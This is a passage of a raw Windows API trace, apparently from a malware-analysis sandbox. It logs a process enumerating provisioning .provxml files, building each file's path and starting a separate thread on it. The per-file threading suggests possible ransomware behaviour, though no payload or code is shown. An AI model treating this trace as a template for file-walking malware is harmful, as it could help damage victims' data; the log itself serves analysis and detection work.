ftLastAccessTime.dwLowDateTime=0x91640358, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91640358, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x34f, dwReserved0=0x0, dwReserved1=0x0, cFileName="617__Connections_Cellular_Truphone (Australia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="617__C~1.PRO")) returned 1 [0182.174] wcscmp (_String1="617__Connections_Cellular_Truphone (Australia)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.174] wcscmp (_String1="617__Connections_Cellular_Truphone (Australia)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.174] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14a) returned 0x2f90e20 [0182.174] wcscpy (in: _Dest=0x2f90e20, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.174] wcscat (in: _Dest=0x2f90e20, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.174] wcscat (in: _Dest=0x2f90e20, _Source="617__Connections_Cellular_Truphone (Australia)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\617__Connections_Cellular_Truphone (Australia)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\617__Connections_Cellular_Truphone (Australia)_i0$(__MVID)@WAP.provxml" [0182.174] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f90e20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c8 [0182.175] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91640358, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91640358, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91640358, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="618__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", cAlternateFileName="618__C~1.PRO")) returned 1 [0182.175] wcscmp (_String1="618__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2=".") returned 1 [0182.175] wcscmp (_String1="618__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2="..") returned 1 [0182.175] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x2f910d0 [0182.175] wcscpy (in: _Dest=0x2f910d0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.175] wcscat (in: _Dest=0x2f910d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.175] wcscat (in: _Dest=0x2f910d0, _Source="618__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\618__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\618__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" [0182.175] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f910d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x84c [0182.176] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91640358, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91640358, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91640358, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x353, dwReserved0=0x0, dwReserved1=0x0, cFileName="619__Connections_Cellular_Truphone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", cAlternateFileName="619__C~1.PRO")) returned 1 [0182.176] wcscmp (_String1="619__Connections_Cellular_Truphone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.176] wcscmp (_String1="619__Connections_Cellular_Truphone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.176] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x152) returned 0x2ff1510 [0182.176] wcscpy (in: _Dest=0x2ff1510, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.176] wcscat (in: _Dest=0x2ff1510, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.176] wcscat (in: _Dest=0x2ff1510, _Source="619__Connections_Cellular_Truphone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\619__Connections_Cellular_Truphone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\619__Connections_Cellular_Truphone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" [0182.176] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff1510, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x848 [0182.177] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x902e08bf, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x902e08bf, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x902e08bf, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="61__Connections_Cellular_Vivatel (Bulgaria)_i0$(__MVID)@WAP.provxml", cAlternateFileName="61__CO~1.PRO")) returned 1 [0182.177] wcscmp (_String1="61__Connections_Cellular_Vivatel (Bulgaria)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.177] wcscmp (_String1="61__Connections_Cellular_Vivatel (Bulgaria)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.177] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x144) returned 0x2f91380 [0182.177] wcscpy (in: _Dest=0x2f91380, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.177] wcscat (in: _Dest=0x2f91380, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.177] wcscat (in: _Dest=0x2f91380, _Source="61__Connections_Cellular_Vivatel (Bulgaria)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\61__Connections_Cellular_Vivatel (Bulgaria)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\61__Connections_Cellular_Vivatel (Bulgaria)_i0$(__MVID)@WAP.provxml" [0182.177] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f91380, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x36c [0182.178] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91640358, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91640358, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91640358, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="620__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", cAlternateFileName="620__C~1.PRO")) returned 1 [0182.178] wcscmp (_String1="620__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2=".") returned 1 [0182.178] wcscmp (_String1="620__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2="..") returned 1 [0182.178] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x2f91228 [0182.178] wcscpy (in: _Dest=0x2f91228, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.178] wcscat (in: _Dest=0x2f91228, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.178] wcscat (in: _Dest=0x2f91228, _Source="620__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\620__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\620__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" [0182.178] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f91228, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x824 [0182.178] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91640358, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91640358, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91640358, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x34d, dwReserved0=0x0, dwReserved1=0x0, cFileName="621__Connections_Cellular_Truphone (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="621__C~1.PRO")) returned 1 [0182.178] wcscmp (_String1="621__Connections_Cellular_Truphone (Germany)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.178] wcscmp (_String1="621__Connections_Cellular_Truphone (Germany)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.178] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x2f914d8 [0182.179] wcscpy (in: _Dest=0x2f914d8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.179] wcscat (in: _Dest=0x2f914d8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.179] wcscat (in: _Dest=0x2f914d8, _Source="621__Connections_Cellular_Truphone (Germany)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\621__Connections_Cellular_Truphone (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\621__Connections_Cellular_Truphone (Germany)_i0$(__MVID)@WAP.provxml" [0182.179] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f914d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x370 [0182.179] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91640358, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x91640358, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x91640358, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="622__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", cAlternateFileName="622__C~1.PRO")) returned 1 [0182.183] wcscmp (_String1="622__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2=".") returned 1 [0182.183] wcscmp (_String1="622__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2="..") returned 1 [0182.183] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x2f91630 [0182.183] wcscpy (in: _Dest=0x2f91630, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.183] wcscat (in: _Dest=0x2f91630, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.183] wcscat (in: _Dest=0x2f91630, _Source="622__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\622__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\622__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" [0182.183] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f91630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f8 [0182.184] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916665c7, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x916665c7, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x916665c7, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x34b, dwReserved0=0x0, dwReserved1=0x0, cFileName="623__Connections_Cellular_Truphone (Spain)_i0$(__MVID)@WAP.provxml", cAlternateFileName="623__C~1.PRO")) returned 1 [0182.184] wcscmp (_String1="623__Connections_Cellular_Truphone (Spain)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.184] wcscmp (_String1="623__Connections_Cellular_Truphone (Spain)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.184] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x142) returned 0x2f91788 [0182.184] wcscpy (in: _Dest=0x2f91788, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.184] wcscat (in: _Dest=0x2f91788, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.184] wcscat (in: _Dest=0x2f91788, _Source="623__Connections_Cellular_Truphone (Spain)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\623__Connections_Cellular_Truphone (Spain)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\623__Connections_Cellular_Truphone (Spain)_i0$(__MVID)@WAP.provxml" [0182.184] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f91788, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x40c [0182.185] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916665c7, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x916665c7, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x916665c7, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="624__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", cAlternateFileName="624__C~1.PRO")) returned 1 [0182.185] wcscmp (_String1="624__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2=".") returned 1 [0182.185] wcscmp (_String1="624__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2="..") returned 1 [0182.185] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x2f918e0 [0182.185] wcscpy (in: _Dest=0x2f918e0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.185] wcscat (in: _Dest=0x2f918e0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.185] wcscat (in: _Dest=0x2f918e0, _Source="624__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\624__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\624__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" [0182.185] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f918e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x59c [0182.185] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916665c7, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x916665c7, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x916665c7, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x34c, dwReserved0=0x0, dwReserved1=0x0, cFileName="625__Connections_Cellular_Truphone (Poland)_i0$(__MVID)@WAP.provxml", cAlternateFileName="625__C~1.PRO")) returned 1 [0182.185] wcscmp (_String1="625__Connections_Cellular_Truphone (Poland)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.186] wcscmp (_String1="625__Connections_Cellular_Truphone (Poland)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.186] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x144) returned 0x2f8fb50 [0182.186] wcscpy (in: _Dest=0x2f8fb50, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.186] wcscat (in: _Dest=0x2f8fb50, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.186] wcscat (in: _Dest=0x2f8fb50, _Source="625__Connections_Cellular_Truphone (Poland)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\625__Connections_Cellular_Truphone (Poland)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\625__Connections_Cellular_Truphone (Poland)_i0$(__MVID)@WAP.provxml" [0182.186] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f8fb50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x834 [0182.186] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916665c7, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x916665c7, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x916665c7, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="626__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", cAlternateFileName="626__C~1.PRO")) returned 1 [0182.186] wcscmp (_String1="626__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2=".") returned 1 [0182.186] wcscmp (_String1="626__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2="..") returned 1 [0182.186] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x2f8fca8 [0182.186] wcscpy (in: _Dest=0x2f8fca8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.186] wcscat (in: _Dest=0x2f8fca8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.186] wcscat (in: _Dest=0x2f8fca8, _Source="626__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\626__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\626__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" [0182.187] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f8fca8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x830 [0182.187] FindNextFileW (in: hFindFile=0x2f80360, 